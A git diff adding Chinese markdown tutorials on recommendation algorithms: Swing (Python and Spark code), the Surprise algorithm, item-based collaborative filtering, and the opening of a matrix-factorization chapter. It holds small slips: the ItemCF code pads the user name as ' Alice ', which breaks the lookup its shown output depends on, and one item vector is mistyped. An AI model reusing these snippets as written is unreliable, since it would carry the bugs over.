+        top_k = 10 #与item相似的前 k 个item
+        train = load_data(train_data_path)
+        u_items, i_users = get_uitems_iusers(train)
+        item_sim_dict = swing_model(u_items, i_users)
+        save_item_sims(item_sim_dict, top_k, item_sim_save_path)
+    ```
+
+  - Spark（仅为核心代码需要补全配置才能跑通）
+    ```scala
+    object Swing {
+
+      def main(args: Array[String]): Unit = {
+        val spark = SparkSession.builder()
+          .appName("test")
+          .master("local[2]")
+          .getOrCreate()
+        val alpha = 1 //分数计算参数
+        val filter_n_items = 10000 //想要计算的item数量 测试的时候取少点
+        val top_n_items = 500 //保存item的score排序前500个相似的item
+        val model = new SwingModel(spark)
+          .setAlpha(alpha.toDouble)
+          .setFilter_N_Items(filter_n_items.toInt)
+          .setTop_N_Items(top_n_items.toInt)
+        val url = "file:///usr/local/var/scala/common/part-00022-e17c0014.snappy.parquet"
+        val ratings = DataLoader.getRatingLog(spark, url)
+        val df = model.fit(ratings).item2item()
+        df.show(3,false)
+    //    df.write.mode("overwrite").parquet(dest_url)
+      }
+    
+    }
+    ```
+
+    ```scala
+    /**
+        * swing
+        * @param ratings 打分dataset
+        * @return
+        */
+      def fit(ratings: Dataset[Rating]): SwingModel = {
+    
+        def interWithAlpha = udf(
+          (array_1: Seq[GenericRowWithSchema],
+           array_2: Seq[GenericRowWithSchema]) => {
+            var score = 0.0
+            val u_set_1 = array_1.toSet
+            val u_set_2 = array_2.toSet
+            val user_set = u_set_1.intersect(u_set_2).toArray //取交集得到两个item共同user
+    
+            for (i <- user_set.indices; j <- i + 1 until user_set.length) {
+              val user_1 = user_set(i)
+              val user_2 = user_set(j)
+              val item_set_1 = user_1.getAs[Seq[String]]("_2").toSet
+              val item_set_2 = user_2.getAs[Seq[String]]("_2").toSet
+              score = score + 1 / (item_set_1
+                .intersect(item_set_2)
+                .size
+                .toDouble + alpha.get)
+            }
+            score
+          }
+        )
+        val df = ratings.repartition(defaultParallelism).cache()
+        
+        val groupUsers = df
+          .groupBy("user_id")
+          .agg(collect_set("item_id")) //聚合itme_id
+          .toDF("user_id", "item_set")
+          .repartition(defaultParallelism)
+        println("groupUsers")
+        groupUsers.show(3, false)//user_id|[item_id_set]: 422|[6117,611,6117] 
+    
+        val groupItems = df
+          .join(groupUsers, "user_id")
+          .rdd
+          .map { x =>
+            val item_id = x.getAs[String]("item_id")
+            val user_id = x.getAs[String]("user_id")
+            val item_set = x.getAs[Seq[String]]("item_set")
+            (item_id, (user_id, item_set))
+          }//i_[user(item_set)]
+          .toDF("item_id", "user")
+          .groupBy("item_id")
+          .agg(collect_set("user"), count("item_id"))
+          .toDF("item_id", "user_set", "count")
+          .filter("size(user_set) > 1")//过滤掉没有交互的
+          .sort($"count".desc) //根据count倒排item_id数量
+          .limit(filter_n_items.get)//item可能百万级别但后面召回的需求量小所以只取前n个item进行计算
+          .drop("count")
+          .repartition(defaultParallelism)
+          .cache()
+        println("groupItems") //得到与itme_id有交互的user_id
+        groupItems.show(3, false)//item_id|[[user_id,[item_set]],[user_id,[item_set]]]: 67|[[562,[66, 813, 61, 67]],[563,[67, 833, 62, 64]]]
+    
+        val itemJoined = groupItems
+          .join(broadcast(groupItems))//内连接两个item列表
+          .toDF("item_id_1", "user_set_1", "item_id_2", "user_set_2")
+          .filter("item_id_1 > item_id_2")//内连接 item两两配对
+          .withColumn("score", interWithAlpha(col("user_set_1"), col("user_set_2")))//将上面得到的与item相关的user_set输入到函数interWithAlpha计算分数
+          .select("item_id_1", "item_id_2", "score")
+          .filter("score > 0")
+          .repartition(defaultParallelism)
+          .cache()
+        println("itemJoined")
+        itemJoined.show(5)//得到两两item之间的分数结果 item_id_1 item_id_2 score
+        similarities = Option(itemJoined)
+        this
+      }
+    
+      /**
+        * 从fit结果，对item_id进行聚合并排序，每个item后截取n个item，并返回。
+        * @param num 取n个item
+        * @return
+        */
+      def item2item(): DataFrame = {
+    
+        case class itemWithScore(item_id: String, score: Double)
+        val sim = similarities.get.select("item_id_1", "item_id_2", "score")
+        val topN = sim
+          .map { x =>
+            val item_id_1 = x.getAs[String]("item_id_1")
+            val item_id_2 = x.getAs[String]("item_id_2")
+            val score = x.getAs[Double]("score")
+            (item_id_1, (item_id_2, score))
+          }
+          .toDF("item_id", "itemWithScore")
+          .groupBy("item_id")
+          .agg(collect_set("itemWithScore"))
+          .toDF("item_id", "item_set")//item_id |[[item_id1:score],[item_id2:score]]
+          .rdd
+          .map { x =>
+            val item_id_1 = x.getAs[String]("item_id")
+            val item_set = x   //对itme_set中score进行排序操作
+              .getAs[Seq[GenericRowWithSchema]]("item_set")
+              .map { x =>
+                val item_id_2 = x.getAs[String]("_1")
+                val score = x.getAs[Double]("_2")
+                (item_id_2, score)
+              }
+              .sortBy(-_._2)//根据score进行排序
+              .take(top_n_items.get)//取top_n
+              .map(x => x._1 + ":" + x._2.toString)
+            (item_id_1, item_set)
+          }
+          .filter(_._2.nonEmpty)
+          .toDF("id", "sorted_items")
+        topN
+      }
+    }
+    ```
+
+## Surprise算法
+首先在行为相关性中引入连续时间衰减因子，然后引入基于交互数据的聚类方法解决数据稀疏的问题，旨在帮助用户找到互补商品。互补相关性主要从三个层面考虑，类别层面，商品层面和聚类层面。
+
+- 类别层面
+  首先通过商品和类别的映射关系，我们可以得到 user-category 矩阵。随后使用简单的相关性度量可以计算出类别 $i,j$ 的相关性。
+
+  $\theta_{i,j}=p(c_{i,j}|c_j)=\frac{N(c_{i,j})}{N(c_j)}$
+
+  即，$N(c_{i,j})$为在购买过i之后购买j类的数量，$N(c_{j})$为购买j类的数量。
+
+  由于类别直接的种类差异，每个类别的相关类数量存在差异，因此采用最大相对落点来作为划分阈值。
+
+  <div align=center>
+  <img src="https://ryluo.oss-cn-chengdu.aliyuncs.com/图片max_drop.png" alt="在这里插入图片描述" style="zoom:30%;" /> 
+  </div>
+
+  例如图(a)中T恤的相关类选择前八个，图(b)中手机的相关类选择前三个。
+
+- 商品层面
+  商品层面的相关性挖掘主要有两个关键设计：
+  - 商品的购买顺序是需要被考虑的，例如在用户购买手机后推荐充电宝是合理的，但在用户购买充电宝后推荐手机是不合理的。
+  - 两个商品购买的时间间隔也是需要被考虑的，时间间隔越短越能证明两个商品的互补关系。
+
+  最终商品层面的互补相关性被定义为：
+
+  $s_{1}(i, j)=\frac{\sum_{u \in U_{i} \cap U_{j}} 1 /\left(1+\left|t_{u i}-t_{u j}\right|\right)}{\left\|U_{i}\right\| \times\left\|U_{j}\right\|}$,其中$j$属于$i$的相关类，且$j$ 的购买时间晚于$i$。
+
+- 聚类层面
+  - 如何聚类？
+    传统的聚类算法（基于密度和 k-means ）在数十亿产品规模下的淘宝场景中不可行，所以作者采用了标签传播算法。
+  - 在哪里标签传播？
+    Item-item 图，其中又 Swing 计算的排名靠前 item 为邻居，边的权重就是 Swing 分数。
+  - 表现如何？
+    快速而有效，15分钟即可对数十亿个项目进行聚类。
+  最终聚类层面的相关度计算同上面商品层面的计算公式
+
+- 线性组合：
+  $s(i, j)=\omega * s_{1}(i, j)+(1-\omega) * s_{2}(i, j)$,其中$\omega=0.8$是作者设置的权重超参数。
+  Surprise算法通过利用类别信息和标签传播技术解决了用户共同购买图上的稀疏性问题。
+
+**参考资料**
+- [Large Scale Product Graph Construction for Recommendation in E-commerce](https://arxiv.org/pdf/2010.05525)            
+- [推荐召回-Swing](https://zhuanlan.zhihu.com/p/383346471)
\ No newline at end of file
diff --git a/技术资源汇总(杭电支持版)/4.人工智能/ch02/ch2.1/ch2.1.1/itemcf.md b/技术资源汇总(杭电支持版)/4.人工智能/ch02/ch2.1/ch2.1.1/itemcf.md
new file mode 100644
index 0000000..f79a8b5
--- /dev/null
+++ b/技术资源汇总(杭电支持版)/4.人工智能/ch02/ch2.1/ch2.1.1/itemcf.md
@@ -0,0 +1,263 @@
+# 基于物品的协同过滤
+
+## 基本思想
+
+基于物品的协同过滤（ItemCF）：
+
++ 预先根据所有用户的历史行为数据，计算物品之间的相似性。
++ 然后，把与用户喜欢的物品相类似的物品推荐给用户。
+
+举例来说，如果用户 1 喜欢物品 A ，而物品 A 和 C 非常相似，则可以将物品 C 推荐给用户1。ItemCF算法并不利用物品的内容属性计算物品之间的相似度， 主要通过分析用户的行为记录计算物品之间的相似度， 该算法认为， 物品 A 和物品 C 具有很大的相似度是因为喜欢物品 A 的用户极可能喜欢物品 C。
+
+![图片](https://ryluo.oss-cn-chengdu.aliyuncs.com/JavagdvaYX0HSW4PdssV.png!thumbnail)
+
+## 计算过程
+
+基于物品的协同过滤算法和基于用户的协同过滤算法很像，  所以我们这里直接还是拿上面 Alice 的那个例子来看。
+
+![图片](https://ryluo.oss-cn-chengdu.aliyuncs.com/JavaE306yXB4mGmjIxbn.png!thumbnail)
+
+如果想知道 Alice 对物品5打多少分， 基于物品的协同过滤算法会这么做：
+
++ 首先计算一下物品5和物品1， 2， 3， 4之间的相似性。
+
++ 在Alice找出与物品 5 最相近的 n 个物品。
+
++ 根据 Alice 对最相近的 n 个物品的打分去计算对物品 5 的打分情况。
+
+**手动计算：**
+
+1. 手动计算物品之间的相似度
+
+   >物品向量: $物品  1(3,4,3,1) ,物品2(1,3,3,5)  ,物品3(2,4,1,5)  ,物品4(3,3,5,2)  ,物品5(3,5,41)$
+   >
+   >+ 下面计算物品 5 和物品 1 之间的余弦相似性:
+   > $$
+   > \operatorname{sim}(\text { 物品1, 物品5 })=\operatorname{cosine}(\text { 物品1, 物品5 } )=\frac{9+20+12+1}{\operatorname{sqrt}(9+16+9+1)*\operatorname{sqrt}(9+25+16+1)}
+   > $$
+   >
+   >+ 皮尔逊相关系数类似。
+   >
+   
+2. 基于 `sklearn` 计算物品之间的皮尔逊相关系数：
+
+<img src="https://ryluo.oss-cn-chengdu.aliyuncs.com/JavaJOyFti58um61zPsa.png!thumbnail" alt="图片" style="zoom:80%;" />
+
+3. 根据皮尔逊相关系数， 可以找到与物品5最相似的2个物品是 item1 和 item4， 下面基于上面的公式计算最终得分：
+
+$$
+P_{Alice, 物品5}=\bar{R}_{物品5}+\frac{\sum_{k=1}^{2}\left(w_{物品5,物品 k}\left(R_{Alice, 物品k}-\bar{R}_{物品k}\right)\right)}{\sum_{k=1}^{2} w_{物品k, 物品5}} \\
+=\frac{13}{4}+\frac{0.97*(5-3.2)+0.58*(4-3.4)}{0.97+0.58}=4.6
+$$
+
+## ItemCF编程实现
+
+1. 构建物品-用户的评分矩阵
+
+   ```python
+   import numpy as np
+   import pandas as pd
+   
+   
+   def loadData():
+       items = {'A': {'Alice': 5.0, 'user1': 3.0, 'user2': 4.0, 'user3': 3.0, 'user4': 1.0},
+                'B': {'Alice': 3.0, 'user1': 1.0, 'user2': 3.0, 'user3': 3.0, 'user4': 5.0},
+                'C': {'Alice': 4.0, 'user1': 2.0, 'user2': 4.0, 'user3': 1.0, 'user4': 5.0},
+                'D': {'Alice': 4.0, 'user1': 3.0, 'user2': 3.0, 'user3': 5.0, 'user4': 2.0},
+                'E': {'user1': 3.0, 'user2': 5.0, 'user3': 4.0, 'user4': 1.0}
+                }
+       return items
+   ```
+
+2. 计算物品间的相似度矩阵
+
+   ```python
+   item_data = loadData()
+   
+   similarity_matrix = pd.DataFrame(
+       np.identity(len(item_data)),
+       index=item_data.keys(),
+       columns=item_data.keys(),
+   )
+   
+   # 遍历每条物品-用户评分数据
+   for i1, users1 in item_data.items():
+       for i2, users2 in item_data.items():
+           if i1 == i2:
+               continue
+           vec1, vec2 = [], []
+           for user, rating1 in users1.items():
+               rating2 = users2.get(user, -1)
+               if rating2 == -1:
+                   continue
+               vec1.append(rating1)
+               vec2.append(rating2)
+           similarity_matrix[i1][i2] = np.corrcoef(vec1, vec2)[0][1]
+   
+   print(similarity_matrix)
+   ```
+
+   ```python
+          A         B         C         D         E
+   A  1.000000 -0.476731 -0.123091  0.532181  0.969458
+   B -0.476731  1.000000  0.645497 -0.310087 -0.478091
+   C -0.123091  0.645497  1.000000 -0.720577 -0.427618
+   D  0.532181 -0.310087 -0.720577  1.000000  0.581675
+   E  0.969458 -0.478091 -0.427618  0.581675  1.000000
+   ```
+
+3. 从 Alice 购买过的物品中，选出与物品 `E` 最相似的 `num` 件物品。
+
+   ```python
+   target_user = ' Alice '
+   target_item = 'E'
+   num = 2
+   
+   sim_items = []
+   sim_items_list = similarity_matrix[target_item].sort_values(ascending=False).index.tolist()
+   for item in sim_items_list:
+       # 如果target_user对物品item评分过
+       if target_user in item_data[item]:
+           sim_items.append(item)
+       if len(sim_items) == num:
+           break
+   print(f'与物品{target_item}最相似的{num}个物品为：{sim_items}')
+   ```
+
+   ```python
+   与物品E最相似的2个物品为：['A', 'D']
+   ```
+
+4. 预测用户 Alice 对物品 `E` 的评分
+
+   ```python
+   target_user_mean_rating = np.mean(list(item_data[target_item].values()))
+   weighted_scores = 0.
+   corr_values_sum = 0.
+   
+   target_item = 'E'
+   for item in sim_items:
+       corr_value = similarity_matrix[target_item][item]
+       user_mean_rating = np.mean(list(item_data[item].values()))
+   
+       weighted_scores += corr_value * (item_data[item][target_user] - user_mean_rating)
+       corr_values_sum += corr_value
+   
+   target_item_pred = target_user_mean_rating + weighted_scores / corr_values_sum
+   print(f'用户{target_user}对物品{target_item}的预测评分为：{target_item_pred}')
+   ```
+
+   ```python
+   用户 Alice 对物品E的预测评分为：4.6
+   ```
+
+# 协同过滤算法的权重改进
+
+* base 公式
+  $$
+  w_{i j}=\frac{|N(i) \bigcap N(j)|}{|N(i)|}
+  $$
+
+  + 该公式表示同时喜好物品 $i$ 和物品 $j$ 的用户数，占喜爱物品 $i$ 的比例。
+  + 缺点：若物品 $j$ 为热门物品，那么它与任何物品的相似度都很高。
+
+* 对热门物品进行惩罚
+  $$
+  w_{i j}=\frac{|N(i) \cap N(j)|}{\sqrt{|N(i)||N(j)|}}
+  $$
+  
+  
+  * 根据 base 公式在的问题，对物品 $j$ 进行打压。打压的出发点很简单，就是在分母再除以一个物品 $j$ 被购买的数量。
+  * 此时，若物品 $j$ 为热门物品，那么对应的 $N(j)$ 也会很大，受到的惩罚更多。
+  
+* 控制对热门物品的惩罚力度
+  $$
+  w_{i j}=\frac{|N(i) \cap N(j)|}{|N(i)|^{1-\alpha}|N(j)|^{\alpha}}
+  $$
+
+  * 除了第二点提到的办法，在计算物品之间相似度时可以对热门物品进行惩罚外。
+  * 可以在此基础上，进一步引入参数 $\alpha$ ，这样可以通过控制参数 $\alpha$来决定对热门物品的惩罚力度。
+
+* 对活跃用户的惩罚
+
+  * 在计算物品之间的相似度时，可以进一步将用户的活跃度考虑进来。
+    $$
+    w_{i j}=\frac{\sum_{\operatorname{\text {u}\in N(i) \cap N(j)}} \frac{1}{\log 1+|N(u)|}}{|N(i)|^{1-\alpha}|N(j)|^{\alpha}}
+    $$
+
+  + 对于异常活跃的用户，在计算物品之间的相似度时，他的贡献应该小于非活跃用户。
+
+# 协同过滤算法的问题分析
+
+协同过滤算法存在的问题之一就是泛化能力弱：
+
++ 即协同过滤无法将两个物品相似的信息推广到其他物品的相似性上。  
++ 导致的问题是**热门物品具有很强的头部效应， 容易跟大量物品产生相似， 而尾部物品由于特征向量稀疏， 导致很少被推荐**。 
+
+比如下面这个例子：
+
+![图片](https://ryluo.oss-cn-chengdu.aliyuncs.com/JavaxxhHm3BAtMfsy2AV.png!thumbnail)
+
++ 左边矩阵中，$A, B, C, D$ 表示的是物品。
++ 可以看出，$D $ 是一件热门物品，其与 $A、B、C$ 的相似度比较大。因此，推荐系统更可能将 $D$ 推荐给用过 $A、B、C$ 的用户。
++ 但是，推荐系统无法找出 $A,B,C$ 之间相似性的原因是交互数据太稀疏， 缺乏相似性计算的直接数据。 
+
+所以这就是协同过滤的天然缺陷：**推荐系统头部效应明显， 处理稀疏向量的能力弱**。
+
+为了解决这个问题， 同时增加模型的泛化能力。2006年，**矩阵分解技术(Matrix Factorization, MF**)被提出：
+
++ 该方法在协同过滤共现矩阵的基础上， 使用更稠密的隐向量表示用户和物品， 挖掘用户和物品的隐含兴趣和隐含特征。
++ 在一定程度上弥补协同过滤模型处理稀疏矩阵能力不足的问题。 
+
+# 课后思考
+
+1. **什么时候使用UserCF，什么时候使用ItemCF？为什么？**
+
+> （1）UserCF
+>
+> + 由于是基于用户相似度进行推荐， 所以具备更强的社交特性， 这样的特点非常适于**用户少， 物品多， 时效性较强的场合**。
+>
+>   + 比如新闻推荐场景， 因为新闻本身兴趣点分散， 相比用户对不同新闻的兴趣偏好， 新闻的及时性，热点性往往更加重要， 所以正好适用于发现热点，跟踪热点的趋势。
+>    + 另外还具有推荐新信息的能力， 更有可能发现惊喜, 因为看的是人与人的相似性, 推出来的结果可能更有惊喜，可以发现用户潜在但自己尚未察觉的兴趣爱好。  
+>
+> （2）ItemCF
+>
+> + 这个更适用于兴趣变化较为稳定的应用， 更接近于个性化的推荐， 适合**物品少，用户多，用户兴趣固定持久， 物品更新速度不是太快的场合**。
+> + 比如推荐艺术品， 音乐， 电影。
+
+
+
+2.**协同过滤在计算上有什么缺点？有什么比较好的思路可以解决（缓解）？**
+
+>  该问题答案参考上一小节的**协同过滤算法的问题分析**。
+
+
+
+**3.上面介绍的相似度计算方法有什么优劣之处？**
+
+> cosine相似度计算简单方便，一般较为常用。但是，当用户的评分数据存在 bias 时，效果往往不那么好。
+>
+> + 简而言之，就是不同用户评分的偏向不同。部分用户可能乐于给予好评，而部分用户习惯给予差评或者乱评分。
+> + 这个时候，根据cosine 相似度计算出来的推荐结果效果会打折扣。
+>
+> 举例来说明，如下图（`X,Y,Z` 表示物品，`d,e,f`表示用户）：
+>
+> ![图片](https://ryluo.oss-cn-chengdu.aliyuncs.com/JavaWKvITKBhYOkfXrzs.png!thumbnail)
+>
+> + 如果使用余弦相似度进行计算，用户 d 和 e 之间较为相似。但是实际上，用户 d 和 f 之间应该更加相似。只不过由于 d 倾向于打高分，e 倾向于打低分导致二者之间的余弦相似度更高。
+> + 这种情况下，可以考虑使用皮尔逊相关系数计算用户之间的相似性关系。
+
+
+
+4.**协同过滤还存在其他什么缺陷？有什么比较好的思路可以解决（缓解）？**
+
+> + 协同过滤的优点就是没有使用更多的用户或者物品属性信息，仅利用用户和物品之间的交互信息就能完成推荐，该算法简单高效。
+> + 但这也是协同过滤算法的一个弊端。由于未使用更丰富的用户和物品特征信息，这也导致协同过滤算法的模型表达能力有限。
+> + 对于该问题，逻辑回归模型（LR）可以更好地在推荐模型中引入更多特征信息，提高模型的表达能力。
+
+
+
+# 参考资料
+
+* [基于用户的协同过滤来构建推荐系统：https://mp.weixin.qq.com/s/ZtnaQrVIpVOPJpqMdLWOcw](https://mp.weixin.qq.com/s/ZtnaQrVIpVOPJpqMdLWOcw)
+* B站黑马推荐系统实战课程
diff --git a/技术资源汇总(杭电支持版)/4.人工智能/ch02/ch2.1/ch2.1.1/mf.md b/技术资源汇总(杭电支持版)/4.人工智能/ch02/ch2.1/ch2.1.1/mf.md
new file mode 100644
index 0000000..7065d45
--- /dev/null
+++ b/技术资源汇总(杭电支持版)/4.人工智能/ch02/ch2.1/ch2.1.1/mf.md
@@ -0,0 +1,370 @@
+# 隐语义模型与矩阵分解
+
+协同过滤算法的特点：
+
++ 协同过滤算法的特点就是完全没有利用到物品本身或者是用户自身的属性， 仅仅利用了用户与物品的交互信息就可以实现推荐，是一个可解释性很强， 非常直观的模型。
++ 但是也存在一些问题，处理稀疏矩阵的能力比较弱。
+
+为了使得协同过滤更好处理稀疏矩阵问题， 增强泛化能力。从协同过滤中衍生出矩阵分解模型(Matrix Factorization, MF)或者叫隐语义模型：
+
++ 在协同过滤共现矩阵的基础上， 使用更稠密的隐向量表示用户和物品。
++ 通过挖掘用户和物品的隐含兴趣和隐含特征， 在一定程度上弥补协同过滤模型处理稀疏矩阵能力不足的问题。
+
+
+
+# 隐语义模型
+
+隐语义模型最早在文本领域被提出，用于找到文本的隐含语义。在2006年， 被用于推荐中， 它的核心思想是通过隐含特征（latent  factor）联系用户兴趣和物品（item）， 基于用户的行为找出潜在的主题和分类， 然后对物品进行自动聚类，划分到不同类别/主题(用户的兴趣)。
+
+以项亮老师《推荐系统实践》书中的内容为例：
+
+>如果我们知道了用户A和用户B两个用户在豆瓣的读书列表， 从他们的阅读列表可以看出，用户A的兴趣涉及侦探小说、科普图书以及一些计算机技术书， 而用户B的兴趣比较集中在数学和机器学习方面。 那么如何给A和B推荐图书呢？ 先说说协同过滤算法， 这样好对比不同：
+>* 对于UserCF，首先需要找到和他们看了同样书的其他用户（兴趣相似的用户），然后给他们推荐那些用户喜欢的其他书。 
+>* 对于ItemCF，需要给他们推荐和他们已经看的书相似的书，比如作者B看了很多关于数据挖掘的书，可以给他推荐机器学习或者模式识别方面的书。 
+>
+>而如果是隐语义模型的话，  它会先通过一些角度把用户兴趣和这些书归一下类， 当来了用户之后， 首先得到他的兴趣分类， 然后从这个分类中挑选他可能喜欢的书籍。 
+
+隐语义模型和协同过滤的不同主要体现在隐含特征上， 比如书籍的话它的内容， 作者， 年份， 主题等都可以算隐含特征。
+
+以王喆老师《深度学习推荐系统》中的一个原理图为例，看看是如何通过隐含特征来划分开用户兴趣和物品的。
+
+<img src="https://img-blog.csdnimg.cn/20200822212051499.png?x-oss-process=image/watermark,type_ZmFuZ3poZW5naGVpdGk,shadow_10,text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3d1emhvbmdxaWFuZw==,size_1,color_FFFFFF,t_70#pic_center" alt="在这里插入图片描述" style="zoom:80%;" />
+
+## 音乐评分实例
+
+假设每个用户都有自己的听歌偏好， 比如用户 A 喜欢带有**小清新的**， **吉他伴奏的**， **王菲**的歌曲，如果一首歌正好**是王菲唱的， 并且是吉他伴奏的小清新**， 那么就可以将这首歌推荐给这个用户。 也就是说是**小清新， 吉他伴奏， 王菲**这些元素连接起了用户和歌曲。 
+
+当然每个用户对不同的元素偏好不同， 每首歌包含的元素也不一样， 所以我们就希望找到下面的两个矩阵：
+
+1. 潜在因子—— 用户矩阵Q
+    这个矩阵表示不同用户对于不同元素的偏好程度， 1代表很喜欢， 0代表不喜欢， 比如下面这样：
+
+  <div align=center>
+  <img src="https://img-blog.csdnimg.cn/2020082222025968.png?x-oss-process=image/watermark,type_ZmFuZ3poZW5naGVpdGk,shadow_10,text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3d1emhvbmdxaWFuZw==,size_1,color_FFFFFF,t_70#pic_center" alt="在这里插入图片描述" style="zoom:70%;" />
+  </div>
+2. 潜在因子——音乐矩阵P
+    表示每种音乐含有各种元素的成分， 比如下表中， 音乐A是一个偏小清新的音乐， 含有小清新的Latent Factor的成分是0.9， 重口味的成分是0.1， 优雅成分0.2...
+
+  <div align=center>
+  <img src="https://img-blog.csdnimg.cn/20200822220751394.png?x-oss-process=image/watermark,type_ZmFuZ3poZW5naGVpdGk,shadow_10,text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3d1emhvbmdxaWFuZw==,size_1,color_FFFFFF,t_70#pic_center" alt="在这里插入图片描述" style="zoom:70%;" />
+  </div>
+**计算张三对音乐A的喜爱程度**
+
+利用上面的这两个矩阵，将对应向量进行内积计算，我们就能得出张三对音乐A的喜欢程度：
+
+<div align=center>
+<img src="https://img-blog.csdnimg.cn/20200822221627219.png?x-oss-process=image/watermark,type_ZmFuZ3poZW5naGVpdGk,shadow_10,text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3d1emhvbmdxaWFuZw==,size_1,color_FFFFFF,t_70#pic_center" alt="在这里插入图片描述" style="zoom:55%;" />
+</div>
+
++ 张三对**小清新**的偏好 * 音乐A含有**小清新**的成分 + 张三对**重口味**的偏好 * 音乐A含有**重口味**的成分 + 张三对**优雅**的偏好 * 音乐A含有**优雅**的成分... 
+
++ 根据隐向量其实就可以得到张三对音乐A的打分，即： $$0.6 * 0.9 + 0.8 * 0.1 + 0.1 * 0.2 + 0.1 * 0.4 + 0.7 * 0 = 0.68$$。
+
+**计算所有用户对不同音乐的喜爱程度**
+
+按照这个计算方式， 每个用户对每首歌其实都可以得到这样的分数， 最后就得到了我们的评分矩阵：
+
+<div align=center>
+<img src="https://img-blog.csdnimg.cn/20200822222141231.png?x-oss-process=image/watermark,type_ZmFuZ3poZW5naGVpdGk,shadow_10,text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3d1emhvbmdxaWFuZw==,size_1,color_FFFFFF,t_70#pic_center" alt="在这里插入图片描述" style="zoom:60%;" />
+</div>
++ 红色部分表示用户没有打分，可以通过隐向量计算得到的。 
+
+**小结**
+
++ 上面例子中的小清晰， 重口味， 优雅这些就可以看做是隐含特征， 而通过这个隐含特征就可以把用户的兴趣和音乐的进行一个分类， 其实就是找到了每个用户每个音乐的一个隐向量表达形式（与深度学习中的embedding等价）
++ 这个隐向量就可以反映出用户的兴趣和物品的风格，并能将相似的物品推荐给相似的用户等。 **有没有感觉到是把协同过滤算法进行了一种延伸， 把用户的相似性和物品的相似性通过了一个叫做隐向量的方式进行表达**
+
++ 现实中，类似于上述的矩阵 $P,Q$ 一般很难获得。有的只是用户的评分矩阵，如下：
+
+  <div align=center>
+  <img src="https://img-blog.csdnimg.cn/20200822223313349.png?x-oss-process=image/watermark,type_ZmFuZ3poZW5naGVpdGk,shadow_10,text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3d1emhvbmdxaWFuZw==,size_1,color_FFFFFF,t_70#pic_center" alt="在这里插入图片描述" style="zoom:60%;" />
+  </div>
+
+  + 这种矩阵非常的稀疏，如果直接基于用户相似性或者物品相似性去填充这个矩阵是不太容易的。
+  + 并且很容易出现长尾问题， 而矩阵分解就可以比较容易的解决这个问题。
+
++ 矩阵分解模型:
+
+  + 基于评分矩阵，将其分解成Q和P两个矩阵乘积的形式，获取用户兴趣和物品的隐向量表达。
+  + 然后，基于两个分解矩阵去预测某个用户对某个物品的评分了。 
+  + 最后，基于预测评分去进行物品推荐。
+
+  
+
+# 矩阵分解算法
+
+## 算法原理
+
+在矩阵分解的算法框架下， **可以通过分解协同过滤的共现矩阵（评分矩阵）来得到用户和物品的隐向量**，原理如下：。
+
+<div align=center>
+<img src="https://img-blog.csdnimg.cn/20200823101513233.png?x-oss-process=image/watermark,type_ZmFuZ3poZW5naGVpdGk,shadow_10,text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3d1emhvbmdxaWFuZw==,size_1,color_FFFFFF,t_70#pic_center" alt="在这里插入图片描述" style="zoom:70%;" />
+</div>
++ 矩阵分解算法将 $m\times n$ 维的共享矩阵 $R$ ，分解成 $m \times k$ 维的用户矩阵 $U$ 和 $k \times n$ 维的物品矩阵 $V$ 相乘的形式。
++ 其中，$m$ 是用户数量， $n$ 是物品数量， $k$ 是隐向量维度， 也就是隐含特征个数。
++ 这里的隐含特征没有太好的可解释性，需要模型自己去学习。
++ 一般而言， $k$ 越大隐向量能承载的信息内容越多，表达能力也会更强，但相应的学习难度也会增加。所以，我们需要根据训练集样本的数量去选择合适的数值，在保证信息学习相对完整的前提下，降低模型的学习难度。
+
+## 评分预测
+
+在分解得到用户矩阵和物品矩阵后，若要计算用户 $u$ 对物品 $i$ 的评分，公式如下：
+$$
+\operatorname{Preference}(u, i)=r_{u i}=p_{u}^{T} q_{i}=\sum_{k=1}^{K} p_{u, k} q_{i,k}
+$$
++ 其中，向量 $p_u$ 表示用户 $u$ 的隐向量，向量  $q_i$ 表示物品 $i$ 的隐向量。
++ 用户向量和物品向量的内积 $p_{u}^{T} q_{i}$ 可以表示为用户 $u$ 对物品 $i$ 的预测评分。
++ $p_{u,k}$ 和 $q_{i,k}$ 是模型的参数， $p_{u,k}$ 度量的是用户 $u$ 的兴趣和第 $k$ 个隐类的关系，$q_{i,k}$ 度量了第 $k$ 个隐类和物品 $i$ 之间的关系。
+
+## 矩阵分解求解
+
+常用的矩阵分解方法有特征值分解(EVD)或者奇异值分解(SVD）， 具体原理可参考：
+
+> [奇异值分解svd原理详解及推导](https://blog.csdn.net/wuzhongqiang/article/details/108168238)
+
++ 对于 EVD， 它要求分解的矩阵是方阵， 绝大部分场景下用户-物品矩阵不满足这个要求。
++ 传统的 SVD 分解， 会要求原始矩阵是稠密的。但现实中用户的评分矩阵是非常稀疏的。
+  + 如果想用奇异值分解， 就必须对缺失的元素进行填充（比如填 0 ）。
+  + 填充不但会导致空间复杂度增高，且补全内容不一定准确。 
+  + 另外，SVD 分解计算复杂度非常高，而用户-物品的评分矩阵较大，不具备普适性。
+
+## FunkSVD
+
+2006年的Netflix Prize之后， Simon Funk公布了一个矩阵分解算法叫做**Funk-SVD**,  后来被 Netflix Prize 的冠军Koren称为**Latent Factor Model(LFM)**。
+
+Funk-SVD的思想很简单： **把求解上面两个矩阵的参数问题转换成一个最优化问题， 可以通过训练集里面的观察值利用最小化来学习用户矩阵和物品矩阵**。
+
+**算法过程**
+
+1. 根据前面提到的，在有用户矩阵和物品矩阵的前提下，若要计算用户 $u$ 对物品 $i$ 的评分， 可以根据公式：
+   $$
+   \operatorname{Preference}(u, i)=r_{u i}=p_{u}^{T} q_{i}=\sum_{k=1}^{K} p_{u, k} q_{i,k}
+   $$
+
+   + 其中，向量 $p_u$ 表示用户 $u$ 的隐向量，向量  $q_i$ 表示物品 $i$ 的隐向量。
+
+2. 随机初始化一个用户矩阵 $U$ 和一个物品矩阵 $V$，获取每个用户和物品的初始隐语义向量。
+
+3. 将用户和物品的向量内积 $p_{u}^{T} q_{i}$， 作为用户对物品的预测评分 $\hat{r}_{u i}$。
+
+   +  $\hat{r}_{u i}=p_{u}^{T} q_{i}$ 表示的是通过建模，求得的用户 $u$ 对物品的预测评分。
+   + 在用户对物品的评分矩阵中，矩阵中的元素 $r_{u i}$ 才是用户对物品的真实评分。
+
